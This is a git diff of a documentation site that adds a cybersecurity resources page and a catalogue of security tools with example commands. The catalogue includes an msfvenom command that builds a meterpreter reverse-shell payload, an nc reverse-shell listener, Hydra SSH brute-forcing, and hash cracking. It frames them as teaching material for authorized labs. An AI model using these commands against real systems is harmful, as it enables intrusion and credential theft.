+| [DEF CON Groups](https://defcongroups.org) | Local DEF CON community meetups around the world. |
+
+## Research Papers & Academic Resources
+
+| Resource | Description |
+|-----------|--------------|
+| [Google Scholar - Cybersecurity](https://scholar.google.com/scholar?q=cybersecurity) | Academic papers on security, cryptography, and network defense. |
+| [arXiv Security Section](https://arxiv.org/list/cs.CR/recent) | Cutting-edge cryptography and computer security research papers. |
+| [USENIX Security](https://www.usenix.org/conferences/byname/108) | Premier conference papers and research archives. |
+| [Black Hat Briefings](https://www.blackhat.com) | Technical research presentations from world-class security researchers. |
+
+## Cloud Security Resources
+
+| Resource | Description |
+|-----------|--------------|
+| [AWS Security Hub](https://aws.amazon.com/security/) | Centralized cloud security visibility for AWS users. |
+| [Microsoft Defender for Cloud Docs](https://learn.microsoft.com/en-us/azure/defender-for-cloud/) | Azure’s native cloud security platform. |
+| [Google Cloud Security Best Practices](https://cloud.google.com/security) | Security guidelines for GCP workloads. |
+| [Prowler](https://github.com/prowler-cloud/prowler) | Open-source AWS security assessment tool. |
+| [ScoutSuite](https://github.com/nccgroup/ScoutSuite) | Multi-cloud security auditing tool. |
+
+## Cybersecurity Certifications & Career Prep
+
+| Certification | Official Link | Level |
+|----------------|----------------|-------|
+| CompTIA Security+ | [https://www.comptia.org/certifications/security](https://www.comptia.org/certifications/security) | Beginner |
+| CEH (Certified Ethical Hacker) | [https://www.eccouncil.org](https://www.eccouncil.org) | Intermediate |
+| OSCP (Offensive Security Certified Professional) | [https://www.offsec.com](https://www.offsec.com) | Advanced |
+| CISSP (Certified Information Systems Security Professional) | [https://www.isc2.org](https://www.isc2.org) | Advanced |
+| CHFI (Computer Hacking Forensic Investigator) | [https://www.eccouncil.org](https://www.eccouncil.org) | Forensics |
+| CCSP (Certified Cloud Security Professional) | [https://www.isc2.org/Certifications/CCSP](https://www.isc2.org/Certifications/CCSP) | Cloud Security |
+
+## Cybersecurity Metrics Formula (For Learners)
+
+A simplified way to measure your weekly learning momentum:
+
+$$
+\text{Progress Score} = \frac{\text{Completed Labs} + (\text{Books Read} \times 2)}{\text{Weeks}}
+$$
+
+:::info
+**Example:** If you completed 6 labs and read 1 book in 3 weeks:
+$ (6 + (1 \times 2)) / 3 = 2.67 $
+Aim for a **progress score ≥ 2** each week for steady growth.
+:::
+
+## Cybersecurity Ecosystem (Mermaid Visualization)
+
+```mermaid
+flowchart TB
+ A[Learning Platforms] --> B[Practical Labs]
+ B --> C[Toolkits]
+ C --> D[Certifications]
+ D --> E[Careers & Roles]
+ E --> F[Communities & Research]
+ F --> A
+```
+
+## Suggested Path for Beginners
+
+1. Start with **TryHackMe** or **OverTheWire** to learn by doing.
+2. Follow **PortSwigger Academy** to understand web attacks.
+3. Use **OWASP Top 10** as your web security checklist.
+4. Set up your lab with **Kali Linux + Metasploitable** VMs.
+5. Join **communities** and follow experts to stay current.
diff --git a/docs/cybersecurity/resources/tools-list.mdx b/docs/cybersecurity/resources/tools-list.mdx
index 0d399cd..4776ec2 100644
--- a/docs/cybersecurity/resources/tools-list.mdx
+++ b/docs/cybersecurity/resources/tools-list.mdx
@@ -1,3 +1,258 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Tools List"
+description: "Curated list of essential cybersecurity tools organized by category: reconnaissance, exploitation, scanning, monitoring, forensics, password cracking, cloud security, and developer/CI tooling. Includes quick install tips, example commands, and best-practice notes."
+tags: [tools, toolkit, pentest, forensics, monitoring, password-cracking]
+---
-
\ No newline at end of file
+This page is a **practical, opinionated catalogue** of tools I use and recommend in real labs and training. Each entry has a short purpose statement, quick install hint, 1–2 example commands, and a short best-practice note. Use it as a checklist when provisioning a new lab, preparing a pentest VM, or building a SOC workbench.
+
+:::warning
+This list is for **defensive learning and authorized testing only**. Never use offensive tools against systems you do not own or have explicit permission to test.
+:::
+
+## Quick index (jump to a category)
+
+* Recon & Discovery
+* Port & Service Scanning
+* Web Application Testing
+* Exploitation Frameworks
+* Password Cracking & Auth Testing
+* Vulnerability & Compliance Scanners
+* Network Analysis & Packet Capture
+* Monitoring, SIEM & Detection
+* Digital Forensics & Memory Analysis
+* Malware Analysis & Sandboxing
+* Cloud & DevSecOps Tools
+* Utilities & Helpers
+
+## Recon & Discovery
+
+**Nmap** — network discovery & port scanning
+* Install: `sudo apt install nmap`
+* Example:
+
+ ```bash
+ nmap -sS -p- -T4 -oN full-scan.txt 192.168.56.0/24
+ ````
+
+ :::tip
+ Use NSE scripts (`--script`) to extend discovery (vuln, auth, http-enum).
+ :::
+
+**Masscan** — extremely fast Internet-scale port scanner
+* Install: compile from source or package manager.
+* Example:
+
+ ```bash
+ masscan -p0-65535 10.0.0.0/8 --rate=10000 -oX masscan.xml
+ ```
+
+ :::caution
+ noisy — use in lab and with permission.
+ :::
+
+**Amass** — subdomain enumeration & intelligence gathering
+* Install: `go install github.com/OWASP/Amass/v3/...` (or package)
+* Example:
+
+ ```bash
+ amass enum -d example.com -o amass.txt
+ ```
+
+## Port & Service Scanning
+
+**RustScan** — fast port scanner combining speed with nmap integration
+* Example:
+
+ ```bash
+ rustscan -a 192.168.1.10 -b 1500 -- -sV -oN rust-nmap.txt
+ ```
+
+**Netcat (nc)** — swiss-army TCP/UDP utility for banner grabbing and simple transfers
+* Example:
+
+ ```bash
+ nc -lvnp 4444 # listen for reverse shells
+ nc target 80 # manual HTTP/ banner checks
+ ```
+
+## Web Application Testing
+
+**Burp Suite** — proxy, Repeater, Intruder, Scanner (Pro)
+* Install: download .jar or installer (Community & Pro).
+* Workflow: configure browser proxy → intercept → send to Repeater/Intruder → scan (Pro).
+
+**OWASP ZAP** — open-source web app scanner & proxy
+* Install: package manager or download bundles.
+* Use for scripted scans in CI.
+
+**Nikto** — web server vulnerability scanning (server-focused)
+* Example:
+
+ ```bash
+ nikto -h https://example.local -output nikto.html -Format html
+ ```
+
+**gobuster / dirsearch** — directory & file discovery
+* Example:
+
+ ```bash
+ gobuster dir -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
+ ```
+
+## Exploitation Frameworks
+
+**Metasploit Framework** — exploitation, payloads, post-exploitation (msfconsole, msfvenom)
+* Start:
+
+ ```bash
+ msfconsole
+ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe
+ ```
+
+Use responsibly in labs and documented engagements.
+
+**Cobalt Strike** — commercial red-team platform (licensed)
+Used for emulation and complex engagement orchestration (only with license & legal use).
+
+## Password Cracking & Auth Testing
+
+**John the Ripper (Jumbo)** — flexible CPU-based cracking & formats
+* Example:
+
+ ```bash
+ john --wordlist=/usr/share/wordlists/rockyou.txt --rules unshadowed.txt
+ ```
+
+**Hashcat** — GPU-accelerated password cracking
+* Example:
+
+ ```bash
+ hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -w 3
+ ```
+
+**Hydra** — online login brute-forcer (SSH, FTP, HTTP forms)
+* Example:
+
+ ```bash
+ hydra -L users.txt -P rockyou.txt ssh://192.168.56.101 -t 4 -f
+ ```
+
+ :::warning
+ can lock accounts — use slow rates and lab targets.
+ :::
+
+## Vulnerability & Compliance Scanners
+
+* **Nessus** — commercial vulnerability scanner (enterprise-grade)
+* **OpenVAS / Greenbone** — open-source vulnerability management suite
+* Example OpenVAS startup: configure via web UI and run schedule scans.
+
+**Trivy** — container & image scanning for vulnerabilities (fast, CI-friendly)
+* Example:
+
+ ```bash
+ trivy image ubuntu:20.04
+ ```
+
+**Snyk / Dependabot** — dependency scanning for code repos (DevSecOps integration)
+
+## Network Analysis & Packet Capture
+
+* **Wireshark** — GUI packet analysis (follow TCP streams, export objects)
+* **tcpdump** — CLI packet capture, BPF filters
+* Example:
+
+ ```bash
+ sudo tcpdump -i eth0 -nn -s 0 -w capture.pcap
+ ```
+
+* **tshark** — CLI version of Wireshark for automation
+* **tcpflow** — reassemble flows for file extraction
+
+## Monitoring, SIEM & Detection
+
+**Splunk** — enterprise SIEM / log analytics (free dev tier available)
+* Example SPL:
+
+ ```spl
+ index=web_logs status=500 | stats count by uri
+ ```
+
+* **ELK / Elastic Stack (Elasticsearch, Logstash, Kibana)** — open alternative to Splunk
+* **Security Onion** — SOC distro bundling Zeek, Suricata, Wazuh, Elastic, TheHive — great for blue team labs.
+* **Wazuh** — host-based monitoring (HIDS) and EDR-like features.
+
+## Digital Forensics & Memory Analysis
+
+* **Autopsy / Sleuth Kit** — disk image analysis, file carving, timelines
+* **Volatility 2/3** — memory forensics, malfind, netscan, cmdline extraction
+* Example:
+
+ ```bash
+ python3 vol.py -f mem.raw windows.pslist
+ ```
+
+* **FTK Imager / WinPMem / LiME** — memory & disk acquisition tools
+
+## Malware Analysis & Sandboxing
+
+* **Cuckoo Sandbox** — automated malware analysis platform (dynamic analysis)
+* **Any.run** — interactive cloud-based sandbox (commercial)
+* **YARA** — signature rules for detecting malware families
+* **rizin / radare2 / Ghidra** — reverse engineering tools (disassembly & analysis)
+
+## Cloud & DevSecOps Tools
+
+* **AWS CLI / Azure CLI / gcloud** — cloud administration & auditing (enable logging & inventory)
+* **ScoutSuite / Prowler / PMapper** — cloud security posture assessment tools
+* **Terrascan / Checkov** — IaC (Terraform/CloudFormation) scanning for misconfigurations
+
+* **kube-bench / kube-hunter** — Kubernetes security auditing and hunting tools
+
+## Utilities & Helpers
+
+* **jq** — JSON processor (handy when parsing API responses)
+* Example:
+
+ ```bash
+ cat out.json | jq '.vulnerabilities[] | {id, severity}'
+ ```
+
+* **grep / ripgrep / awk / sed** — text processing basics
+* **Docker & Docker Compose** — spin up lab services and vulnerable apps
+* **screen / tmux** — session multiplexers for long-running jobs
+
+## Workflow Diagram (Typical tool flow)
+
+```mermaid
+flowchart LR
+ Recon[Nmap / Amass / RustScan] --> Scan[Nessus / OpenVAS / Nikto]
+ Scan --> Web[Burp / ZAP]
+ Web --> Exploit[Metasploit / Manual Exploits]
+ Exploit --> Post[Meterpreter / PrivEsc Tools]
+ Recon --> Monitor[Security Onion / Splunk]
+ Monitor --> Forensics[Autopsy / Volatility]
+```
+
+## Recommended Tooling Bundles (by role)
+
+* **Pentester (Offensive)**: Kali Linux (Metasploit, Burp, John, Hashcat, Hydra, Nmap, Nikto, Gobuster)
+* **Blue Team / SOC Analyst**: Security Onion, Splunk/ELK, Wazuh, Zeek, Suricata, TheHive/Cortex
+* **Forensics/IR**: Autopsy, Sleuth Kit, Volatility, FTK Imager, YARA, Plaso/Timesketch
+* **Cloud Security**: AWS CLI, ScoutSuite, Prowler, Trivy, kube-bench
+
+## Best Practices for Tooling & Lab Hygiene
+
+* Keep **tool versions documented** in your lab notes.
+* Use **isolated networks** for all offensive testing.
+* Prefer **read-only acquisition** for forensic evidence.
+* Keep a **snapshot** before destructive or high-impact tests.
+* Use **credential rotation** in lab VMs (do not reuse real credentials).
+* Automate installs with scripts or IaC for reproducible labs.
+
+## Further Reading & References
+
+* Tool documentation & manpages (always your first source).
+* Official GitHub repos for each tool — many have install scripts and examples.
+* Lab writeups & CTF reports — great for learning real workflows.
\ No newline at end of file
diff --git a/docusaurus.config.js b/docusaurus.config.js
index 06395d3..ca5cd68 100644
--- a/docusaurus.config.js
+++ b/docusaurus.config.js
@@ -126,32 +126,51 @@ const config = {
href: "https://codeharborhub.github.io/",
target: "_self",
},
- items: [
+ items: [
{
- type: "dropdown",
+ to: "/tutorial/",
html: '📚 Tutorials',
- position: "left",
- items: [
- {
- type: "html",
- value: ``,
- },
- ],
+ position: "left"
+ },
+ {
+ to: "/tutorial/category/html/",
+ html: '🧱 HTML',
+ position: "left"
+ },
+ {
+ to: "/tutorial/css/introduction/what-is-css/",
+ html: '🎨 CSS',
+ position: "left"
+ },
+ {
+ to: "/tutorial/javascript/introduction-to-javascript/what-is-js",
+ html: '⚡ JavaScript',
+ position: "left"
},
+ {
+ to: "/tutorial/git/introduction",
+ html: '🌳 Git',
+ position: "left"
+ },
+ {
+ to: "/tutorial/github/introduction-to-github",
+ html: '🐙 JavaScript',
+ position: "left"
+ },
+ {
+ to: "/tutorial/react/react-intro",
+ html: '⚛️ React',
+ position: "left"
+ },
+ {
+ to: "/tutorial/cybersecurity",
+ html: '🛡️ Cyber Security',
+ position: "left"
+ },
+
{
to: "https://codeharborhub.github.io/blog",
- label: "Blog",
+ html: '📝 Blog',
position: "right"
},
{
@@ -302,7 +321,7 @@ const config = {
// theme: prismThemes.vsDark,
darkTheme: prismThemes.dracula,
// darkTheme: prismThemes.github,
- additionalLanguages: ["powershell"],
+ additionalLanguages: ["powershell", "php", "bash"],
},
docs: {
sidebar: {
- 
- 
- 
- 
- 
- 
-